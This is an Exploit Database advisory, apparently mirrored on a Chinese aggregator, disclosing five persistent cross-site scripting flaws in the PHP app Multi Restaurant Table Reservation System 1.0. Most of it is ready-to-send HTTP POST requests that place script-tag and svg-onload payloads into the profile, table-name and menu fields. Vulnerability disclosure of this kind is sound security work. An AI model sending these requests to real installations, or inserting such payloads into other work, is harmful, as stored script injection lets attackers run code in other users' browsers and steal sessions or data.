Multi Restaurant Table Reservation System 1.0 – Multiple Persistent XSS

• Exploit Database
• 116 阅读

• 作者： yunaranyancat
  日期： 2020-12-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49135/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116

  # Exploit Title: Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS # Date: 01-11-2020 # Exploit Author: yunaranyancat # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip # Version: 1.0 # Tested on: Ubuntu 18.04 + XAMPP 7.4.11   Summary:   Multiple Persistent Cross-site Scripting in Multi Restaurant Table Reservation System allows attacker to gain sensitive information using these vulnerabilities.   # POC No.1 Persistent XSS vulnerability at /dashboard/profile.php triggered by adding payload in Restaurant Name field   ### Sample request POC #1   POST /TableReservation/dashboard/profile.php HTTP/1.1 Host: [TARGET URL/IP] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[TARGET URL/IP]/TableReservation/dashboard/profile.php Content-Type: application/x-www-form-urlencoded Content-Length: 122 Cookie: PHPSESSID=0095837d1f0f69aa6c35a0bf2f70193c DNT: 1 Connection: close Upgrade-Insecure-Requests: 1   fullname=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&email=lol%40lol&phone=123456789&area=1&address=lol&password=lol&save=Save   # POC No.2 Persistent XSS vulnerability at /dashboard/table-list.php triggered by adding payload in Table Name field in table-add.php   ### Sample request POC #2   POST /TableReservation/dashboard/manage-insert.php HTTP/1.1 Host: [TARGET URL/IP] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[TARGET URL/IP]/TableReservation/dashboard/table-add.php Content-Type: multipart/form-data; boundary=---------------------------424640138424818065256966622 Content-Length: 321 Cookie: PHPSESSID=d464c277434e6f2cf4358f59a368b090 Connection: close Upgrade-Insecure-Requests: 1   -----------------------------424640138424818065256966622 Content-Disposition: form-data; name="tablename"   <script>alert("XSS")</script> -----------------------------424640138424818065256966622 Content-Disposition: form-data; name="addtable"   Add Table -----------------------------424640138424818065256966622--     # POC No. 3 Persistent XSS vulnerability at /dashboard/menu-list.php triggered by adding payload in Item Name field in menu-add.php   # POC No. 4 Persistent XSS vulnerability at /dashboard/menu-list.php triggered by adding payload in Made by field in menu-add.php   # POC No. 5 Persistent XSS vulnerability at /dashboard/menu-list.php triggered by modifying value of Area(food_type) dropdown to XSS payload in menu-add.php   ### Sample request POC #3, #4 & #5   POST /TableReservation/dashboard/manage-insert.php HTTP/1.1 Host: [TARGET URL/IP] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[TARGET URL/IP]/TableReservation/dashboard/menu-add.php Content-Type: multipart/form-data; boundary=---------------------------165343425917898292661480081499 Content-Length: 6641 Cookie: PHPSESSID=d464c277434e6f2cf4358f59a368b090 Connection: close Upgrade-Insecure-Requests: 1   -----------------------------165343425917898292661480081499 Content-Disposition: form-data; name="itemname"   <script>alert("XSS1")</script> -----------------------------165343425917898292661480081499 Content-Disposition: form-data; name="price"   1 -----------------------------165343425917898292661480081499 Content-Disposition: form-data; name="madeby"   <svg onload=alert("XSS2")> -----------------------------165343425917898292661480081499 Content-Disposition: form-data; name="food_type"   <svg onload=prompt("XSS4")> -----------------------------165343425917898292661480081499 Content-Disposition: form-data; name="image"; filename="image.jpeg" Content-Type: image/jpeg   .. [REDACTED CONTENT OF image.jpeg] ..   ----------------------------165343425917898292661480081499 Content-Disposition: form-data; name="addItem"   Add Item -----------------------------165343425917898292661480081499--